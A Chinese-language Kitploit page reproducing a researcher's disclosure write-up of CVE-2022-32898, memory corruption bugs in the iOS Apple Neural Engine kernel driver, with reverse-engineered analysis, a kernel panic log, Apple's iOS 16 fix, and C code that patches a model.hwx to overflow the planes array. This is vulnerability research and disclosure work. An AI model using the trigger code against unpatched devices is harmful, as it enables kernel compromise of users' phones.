Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2022-32898 — CVE-2022-32898 的技术分析和漏洞利用演示,这是 Apple Neural Engine 驱动程序中的内核内存损坏漏洞,包含针对 iOS 内核的详细逆向工程和利用技术。 | Kitploit
工具/GitHubGitHub/ox1111/cve-2022-32898
iOS安全漏洞分析漏洞利用逆向工程移动安全硬件安全二进制利用
GitHubox1111/cve-2022-32898

CVE-2022-32898

CVE-2022-32898 的技术分析和漏洞利用演示,这是 Apple Neural Engine 驱动程序中的内核内存损坏漏洞,包含针对 iOS 内核的详细逆向工程和利用技术。

查看仓库
42年前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2022-32898: ANE_ProgramCreate() 多个内核内存损坏

2022年11月23日 • Mohamed GHANNAM (@_simo36)

作者评论

我要分享另外两个 iOS 内核漏洞,它们可以从默认应用沙箱中触达,且不需要打开 UserClient:

4

另外有 16 个我向 Apple 报告的内核 bug 已在 iOS 16/16.1 中修复。 下个月我将就如何串联一些漏洞实现内核 r/w 在 #POC2022 上发表演讲, 会议结束后,适用于 iOS 15 的内核利用将与其他一些高影响漏洞一起发布。

到目前为止,我最喜欢的 IDA 8.0 功能是:人工 Obj-C 方法导入 4

在 iOS 15.5 beta 3 中,Apple 从 IOSharedDataQueue/IODataQueue::initWithCapacity() 中移除了 IOMallocAligned(KHEAP_DEFAULT,...)(现在使用带 KMA_DATA 标志的 kernel_memory_allocate())。这是一种使用用户可控数据来整理内核默认堆的优雅技术。RIP

6

介绍:

在对 Apple Neural Engine 在内核级别加载模型的过程进行逆向工程时,我在 H11ANEIn::ANE_ProgramCreate_gated() 中负责处理神经网络特征的代码中发现了两个有趣的内存损坏漏洞。在我看来,这类漏洞在手动审计内核驱动程序时很容易发现,但除非你能构建出非常复杂的东西,否则几乎无法通过模糊测试发现它们。

分析:

ZinComputeProgramGetNamesFromMultiPlaneLinear() 和 ZinComputeProgramGetNamesFromMultiPlaneTiledCompressed() 函数都负责解析程序的输入和输出,更准确地说,是解析 thread flavor 为 2(ane_bind_state)且 binding_type_info 值为 4 和 5 的 LC_THREAD 命令。

据我所知,binding_type_info = 4 表示程序的输入有多个平面,而 binding_type_info = 5 表示输入不仅有多于一个平面,而且也是压缩的。

例如,ZinComputeProgramGetNamesFromMultiPlaneLinear() 函数接受 5 个参数:一个加载命令指针、一个线程绑定指针,以及三个额外的输出参数。最后一个输出参数 planes 是一个数组,用于保存平面(或内核指针),其内容由用户控制;最后一个参数 planeCount 将指示从 model.hwx 文件中复制到 planes 中的平面(或内核指针)数量。以下是函数定义:

1

由于缺乏对模型可以提供的平面数量的验证,内核指针可能被写入 planes 数组边界之外,从而可能导致许多有趣的内存损坏场景。

将内存损坏转化为栈溢出:

planes 数组是位于 H11ANEIn::ANE_ProgramCreate_gated() 中的一个栈变量,通过用超过 4 个平面溢出这个本应最多容纳 4 个元素的变量,其他栈变量也可能被破坏,这可能导致诸如类型混淆之类的其他问题,因为被覆盖的内核指针完全在用户控制之下。

显然,用过多条目溢出 planes 数组很可能会同时覆盖栈 cookie 和保存的旧栈帧指针,导致内核崩溃(kernel panic)。幸运的是,平面总数完全由给定模型控制,因此我们可以在不影响这些敏感栈区域的情况下破坏几个栈变量。

将内存损坏转化为堆溢出:

另一个有趣的场景是,如下图所示,可以溢出两个堆对象:H11ANEProgramBindingInfo(第 528 行)和 H11ANEProgramCreateArgsStructOutput(第 533 行)。

2

root@kitploit:~
struct H11ANEProgramBindingInfo
{
        struct {
                uint32_t field_0;
                char names[8][512];
                uint32_t field_1004;
                char *procedure_name;
        } inputs[255], outputs[255];

};

H11ANEProgramCreateArgsStructOutput 的结构定义如上所示,破坏它可能导致以下崩溃:

root@kitploit:~
"panicString" : "panic(cpu 4 caller 0xfffffe00112e6184): Kernel data abort. at pc 0xfffffe0010a8a48c, lr 0x03effe0011b1b47c (saved state: 0xfffffe6089dca980)
  x0:  0x1122334411223344 x1:  0xfffffe3000ecff20  x2:  0x0000000000000040  x3:  0x0000000000000000
  x4:  0x0000000000000000 x5:  0x0000000000000000  x6:  0x00000000000000e8  x7:  0x0000000000000830
  x8:  0xfffffe608949c000 x9:  0xfffffe24cec0d1b0  x10: 0xfffffe24cd7d4010  x11: 0xfffffe1667fa93e0
  x12: 0x0000000000000001 x13: 0x0000000000000858  x14: 0xfffffe3000ed0760  x15: 0x00292a20736d6172
  x16: 0x5bd9fe0010a8a470 x17: 0xfffffe0013ad55d8  x18: 0x0000000000000000  x19: 0x0000000000000000
  x20: 0x0000000000000001 x21: 0xfffffe1b33ee3860  x22: 0xfffffe299a621a00  x23: 0xfffffe2999c72208
  x24: 0xfffffe3000ec0000 x25: 0x00000000e00002d1  x26: 0xfffffe608949c000  x27: 0xfffffe60895a2054
  x28: 0xfffffe6089dcb850 fp:  0xfffffe6089dcacd0  lr:  0x03effe0011b1b47c  sp:  0xfffffe6089dcacd0
  pc:  0xfffffe0010a8a48c cpsr: 0x00401208         esr: 0x96000004          far: 0x1122334411223344

触发漏洞:

这些漏洞的有趣之处在于,不需要直接与内核交互,换句话说,无需打开 UserClient 连接,只需编译(或制作)一个恶意模型,然后让 aned 代表你加载它。

如你所知,要通过 aned 加载任何模型,该模型必须由 ANECompilerService 系统服务编译,或由 Apple 签名。换句话说,应用程序必须向 aned 提供一个 .mlmodelc 目录,aned 随后会请求 ANECompilerService 使用两个名为 Espresso 和 ANECompiler 的框架将其编译为 model.hwx。如果你不明白我在说什么,欢迎查看 #POC2022 幻灯片 这里,我在其中简要概述了 aned 的工作原理。此外,你可以从 Wish Wu 的精彩 BlackHat 演讲 中获取有关编译过程的更多细节,该演讲涉及他对 ANE 的研究,以及 他的优秀工具,该工具完全模拟了 ANECompilerService 的功能。

在我们的案例中,我们需要一个 model.hwx,其程序输入(或输出)支持多个平面。遗憾的是,mlmodel、mlmodelc 或 mlpackage 格式中没有这样的模型,Apple 也只提供了少数 hwx 格式的模型。检查这些 hwx 模型后发现,它们使用了一些奇怪的/未记录的神经网络操作,这些操作在开源 coremltools 库的代码库中不存在,暗示这些网络层可能仅供内部使用。然而,这些操作的实现由 Espresso 框架定义,需要一些逆向工程来了解它们支持哪些输入和输出,以及如何正确地将它们用作神经网络中的一层。由于该框架是用 C++ 和 STL 编写的,我没有兴趣对这个操作进行逆向,因为那会花费很长时间。

这是引导我发现 CVE-2022-32845 的主要原因,它不仅让我避免了逆向这个可怕的框架,还为我节省了数百小时学习高级机器学习主题的时间。

于是,我拿了一个简单的 model.hwx,修补了它的一个 LC_THREAD 命令,以在 ane_bind_state 中复现所需的结果,然后利用 CVE-2022-32845 诱骗 aned 加载它,就像它是由 Apple 签名的一样;这足以向 Apple 演示该漏洞。

修补模型的函数如下所示,如果你想自己触发该漏洞,可以从我的 weightBufs 内核漏洞利用 中借用一些代码。

root@kitploit:~
void patch_hwx(const mach_header_64 *mh,size_t mh_size)
{
        if((mh->magic != 0xfeedface) && (mh->magic != 0xbeefface)) {
                dbg("[-] Bad Mach-O file \n");
                return ;
        }

        struct load_command *lc = NULL;

        FOR_EACH_COMMAND {

                if (lc->cmd != LC_THREAD)
                        continue;

                dbg("LC_THREAD command found \n");

                compute_thread_command *thread = (compute_thread_command *)lc;
                u32 name_off = 0;
                switch (thread->flavor) {
                case THREAD_BINDING: {
                        name_off = *(uint32_t*)((char*)thread + 0x18);
                        dbg("Binding Name \n");
                        compute_thread_binding * bd =
                                (compute_thread_binding *)&thread->thread_states;

                        bd->binding_typeinfo = 4;
                        bd->field4 = 1;

                        u32 plane_count = 0x30;
                        char *buf_start = (char*)lc + 0x20;
                        *(u32 *) buf_start = 0;
                        *(u32 *) (buf_start + 0x10) = plane_count;
                        char *_ptr = buf_start + 0x6C;
                        int i = 0;
                        uint64_t off = 0;

                        do {
                                if(off == 0)
                                        off = (unsigned int)(_ptr + 4 - (char*)mh) + 8 ;
                                *(unsigned int *)_ptr = mh_size;

                                u64 *pp = (u64 *)&_ptr[4];
                                for(int k = 0; k < 4;k++)
                                        pp[k] = 0x1122334411223344;
                                _ptr += 0x68;

                        }while (i++ < plane_count);

                        patched = true;

                        return;
                }
                case THREAD_PROCEDURE_OPERATION:
                case THREAD_PROCEDURE:
                default:
                        break;
                }

                dbg("\t ProcedureName '%s' \n",(char*)thread + name_off);

        }

}

补丁:

Apple 在 iOS 16 中通过在两个易受攻击的函数中引入一些验证检查来解决该问题,将提供的平面数量限制为四个条目,如下所示:

3

暂时就到这里,很快再见!

下载工具